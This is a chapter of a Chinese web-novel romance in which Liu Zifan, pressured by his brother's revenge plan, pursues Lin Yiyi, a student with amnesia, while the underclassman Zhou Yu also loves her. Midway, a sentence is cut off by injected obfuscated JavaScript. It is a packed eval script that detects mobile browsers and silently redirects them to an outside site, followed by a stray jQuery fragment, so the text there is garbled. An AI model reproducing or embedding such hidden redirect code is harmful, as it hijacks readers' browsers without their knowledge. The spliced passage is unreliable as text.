碎纸屑被秋风卷起来，像是一场仓促的纸片雪花，四处乱飞……
“你小子给我听好了，林一一是我女朋友。”刘子凡沉冷的嗓音带着少许急躁。
他不容质疑的搂着林一一的肩膀，满是占有欲的补充：“你他妈有点自知之明。”
话音落下，他掌心的温度好似透过校服的布料，烙在了林一一的皮肤上。
林一一抬眼看着他，瞳孔里映出了他微红的眼尾，她却觉得刘子凡很是可笑。
晨光刺穿云层落在两个人的身上，林一一没敢反驳他，只是笨拙的推开了他的手。
碎纸碎屑被风卷到半空中，有一片粘在林一一的睫毛上，像是一片不合时宜的雪。
刘子凡伸手去拂那片纸，指尖碰到了她冰凉的眼角，方才发现她在发抖。
她不是害怕，而是怒意，她很快便嚷嚷道：“刘子凡，你怎么这样啊？”
这是失忆的林一一第一次连名带姓喊他，声音很轻，却像薄刃字字让他心碎：“你不是我男朋友，现在的我，是失忆的林一一。我跟你没有关系，你是在以什么身份在替我拒情书？”
“一一，我……”刘子凡张了张口，最后在喉咙里滚出了一句嘶哑解释：“我以前是你的男朋友。”
盯着她那双泛着水光的眼睛，看见自己在她眼中扭曲的倒影。
刘子凡感觉自己像是一个小偷，偷走了林一一的一切自由。
林一一后退半步，腰侧的淤青被身上的校服腰带磨得生疼。
那阵疼在提醒她……
她面前的这个人，曾把没失忆的她当成“替身”，他喜欢的人是她的表姐……苏宠。
刘子凡掐着她的肩膀，也提醒她……
如今的她连“替身”都算不上，她只是替身爱人的替身失忆人。
她转身渐渐远离刘子凡，马尾甩出了一道冷冽的弧线。
刘子凡愣在原地，掌心还残留着她肩头的温度，他像握住了一捧即将融化的冰。
情书的主人是穿黑色卫衣的男生，他叫周屿……大一的学弟，校动漫社的Coser。
他被撕掉的情书是他花了三个晚上，用毛笔小楷练习了几十次的誊写……
－
林一一学姐，我喜欢你，像喜欢《鬼灭》里第一朵飘落的樱花……
－
此刻，周屿弯腰捡起了碎片，指尖被纸锋划出了一道血线。
他抬头看见刘子凡失魂落魄地站在秋风里，忽然觉得对方比自己更像一只败犬。
“刘学长，久仰大名。”周屿礼貌启口，把碎纸攥进掌心，血珠渗进粉色信的笺，晕成林一朵暗色玫瑰：“下次你撕它之前，请你先学会尊重学姐的意思。”
刘子凡闻言喉咙发紧，看着银杏道上的尽头，他并没有心情搭理人。
林一一没有回自己的教室，而是绕到实验楼后的银杏树小径上。
那里有一排百年银杏，叶子正由青转金，一眼望不到尽头。
她靠在倒数第三棵树下，瞧着失忆前自己刻下的文字，泪如雨下。
最后，狠心写上了另外一句话……
【我是失忆的林一一，我永远都不会喜欢刘子凡。】
同一时刻，刘子凡站在暗处偷偷看着林一一的一举一动。
秋风把他的外套外套吹得猎猎作响，像是一面失败的旗。
他打开手机相册，滑到去年冬天的照片……
照片里，真正的林一一戴着红色围巾，在雪地里回身冲他比耶。
她的鼻尖冻得通红，眼睛却亮得能点燃此刻的冬季似的。
这是林一一失忆前的最后一个冬天，再往后……
相册里只剩下了空白，刘子凡的心口像是被人硬生生剜走了一块。
“一一，我失去的到底是你？还是我自己的良心？”他喃喃的声音散在风里。
想起自己咨询过的，医生说过的话……
-
创伤性失忆患者，一定会对‘情绪过载’的场景产生本能回避。
你越是逼她回忆过去，她越是会把你当成‘危险源’厌恶你靠近。”
-
刘子凡这一刻才意识到，他一直在逼迫林一一。
他一直在用“女朋友”的身份圈禁林一一，用“过去”的枷锁让林一一痛苦。
是他忘了，现在的林一一，也是林一一！
——
时间临近中午，刘子凡捧着一捧红玫瑰站立在女宿门外等待林一一回来。
那捧玫瑰花的花苞上沾着晶莹的水珠，随着刘子凡的来回踱步，微微发颤。
方才在汽车内，他对着镜子反复练习了好几次“对不起”这三个字！
包括他嘴角上扬的弧度、喉结滚动的频率、那句“对不起”的尾音落得多轻。
他的手机却在此刻疯响，大哥的名字在屏幕上跳动，像一簇不肯熄灭的鬼火。
“子凡，你还打算瞒着我多久？”刘金生的嗓音从听筒里劈头盖脸砸下来。
刘子凡下意识把花束胸口下方落了落，玫瑰刺扎进他的指腹，血珠滚成猩红的种子。
“大哥，你……你在说什么？”
他听得见自己的声音在风里碎成了四瓣，甚至在耳膜发出的回音让他生疼。
“子凡，林亿今天来见我了，他刚刚从我家里离开。”
那一瞬间，刘子凡手里的捧花“啪”得一声掉在地上，包装纸发出了垂死的脆响。
“你说什么？”刘子凡蹲下去捡花，膝盖却先一步砸向地面。
大理石映出他扭曲的影子，像被水稀释的墨，边缘正一点点溃散。
“大哥，我……”
电话那头传来打火机砂轮摩擦的声响，一下，两下，火星四溅。
他几乎能闻到，那是大哥思考时惯有的仪式，像是刽子手在行刑前最后的磨刀。
“弟，我就是想确认一下，林一一是不是真的喜欢你？”
刘金生的吐字慢下来，每个音节都裹了冰碴，砸在他耳蜗里叮当作响。
他忽然想起父母离世后，大哥也是用这种语气问：“你是愿意跟着大哥吃苦，还是愿意去孤儿院被人领养？”
“大哥，你打算让我怎么做？”
刘子凡盯着玫瑰茎上突兀的刺，忽然明白它为何而生……
美丽的东西天生该带毒，这样被刺伤的人……才会记住疼。
“我要你追求她，然后彻彻底底抛弃她，毁掉她，让林亿痛不欲生。”
沉默像是一桶混了碎冰的水，从头顶灌到刘子凡的脚跟。
他心在胸腔里疯狂乱撞，这一刻，那花束再次滑落，这次无人去捡。
洁白的花瓣沾染了血液，他清晰的听到了大哥追问：“弟，别忘了爸妈是怎么死的！”
刘金生的声音陡然拔高，撕裂成无数玻璃碎片，每一片都映出了那场意外的车祸。
父母被推出太平间那一刻，白布下隆起的轮廓，像是两座被熔化的冰雕。
他抬手盯着手上的血液，忽然闻到了死亡的味道。
他对林一一的爱，如夏日之下的冰，正在一点点儿融化。
他挂断电话，狠下心用鞋底把玫瑰一点点儿碾成了花泥。
鲜红的花汁渗进大理石缝隙，像一道无法愈合的伤口。
他上车后抬头对着镜面笑，笑容薄而锋利，阳光明明很暖，却像是一桶沸水浇下来。
他眯起眼，看见林一一正好回来，怀里抱着一摞书，面色如常，安静美好。
秋风把她的刘海吹得乱糟糟，像是一蓬被揉皱的早春柳条。
他依旧驱车离开，带起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925850|189676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的风夹杂着汽车尾气的汽油味道，刺入了林一一的鼻尖。
盯着从身边驶过的汽车，林一一止步目送，垂眸间心口隐隐作痛，说不出的酸楚。
一道铃声将她的思绪拉回现实，发觉是父亲来电，她毫不犹豫的接听了电话。
——
周五六点二十分，操场被橙色路灯照成了一枚巨大的、熟透的柿子。
风一吹，果肉般的灯光就簌簌坠落，砸在 Coser 的铠甲、尾巴、羽翼上。
林一一站在“动漫社招新”的横幅下，抬手发宣传的时候，腰窝处露出了半弧淤青。
她递传单的时候，淤青落入路人眼中，大家纷纷侧目……
“快看，那是伤还是纹身？”
“大概是角色设定？”
窃窃私语被周屿用一声“加入动漫社，第二杯半价”盖过去。
接着，他担心的蹲下身子看去，小声的追问：“学姐，你没事吧？”
“周屿，我没事，你快站起来，别让人看我笑话了。”
林一一笑得豁亮，把所有裂缝一次性缝合，只有她自己知道，她这些天多难过。
她清晰的记得，周一那天，父亲在电话里的声音像是被岁月泡发的旧磁带……
“女儿，我今天找过刘子凡的大哥刘金生了，他知道你们在谈恋爱。
如果他逼刘子凡放弃你，不再接近你，那孩子不愿意继续走向你……”
那一刻，父亲顿了顿，像在掂量重量：“那就说明，他不愿意接受你。”
林一一当时没回答，只是看向了书本上粘贴的银杏叶。
她的爸爸以为刘子凡不会那么狠——对仇人，也对自己。
可是她害怕，他真会那么狠——对他自己，也对她这个爱人。
刘子凡这些天的消失也在悄悄告诉她，他不会放下对父亲的仇恨。
当看到刘子凡手里拎着棕色纸袋出现时，林一一第一时间退回远离了周屿。
刘子凡见状深吸一口气，抬脚的每一步，都踩碎一片落叶，咔嚓、咔嚓……
林一一的目光穿过人群、穿过光屑、穿过以前的光阴，直直的撞进他的瞳孔。
周屿适时地抽走她手里的传单，冲她挤眼：“学姐，看来今晚我又没机会了。”
林一一表情平静的看了他一眼，五步的距离，她走得不快。
刘子凡把纸袋递她的时候，他指尖微颤，林一一却没有接……
“刘子凡……”她开口的声音比刘子凡想象中还软，字字温柔：“我不喜欢你。”
刘子凡动了动喉结，把千言万语咽回去，最后只挤出了一句：“没事，我可以追你。”
“好啊！”林一一挑起眉头，接过手提袋喃呢：“那我……我看你的表现。”
秋夜的风忽然大了一点儿，横幅被吹得猎猎作响，像是无数只白鸽同时振翅。
此刻的他们谁都没提“仇恨”二字，仿佛只要不提，它就会被今晚的路灯烤化。
不远处，周屿此刻拿着用透明胶一点点粘好的情书。
裂缝处，是被他用金色记号笔描成了蜿蜒的星河。
那旁边他特意写了一行小字：
我希望你的破碎不是终点，而是我光进来的地方。
可是他用心设计的再一次告白，在刘子凡突然出现之后，不见天日。
“爱情的美好，在于那份让人怦然心动的真挚。
林一一，我喜欢你，我爱你，请你跟我交往吧！”
林一一看着他发愣那一刻，刘子凡单膝下跪，拿出了早已准备好的戒指。
她被戴上戒指那一刻，所有人都见证了他们的幸福，包括爱慕林一一的周屿。
作为一个后来者，他只能将自己对林一一的仰慕放在最心底，试图去接受这一切。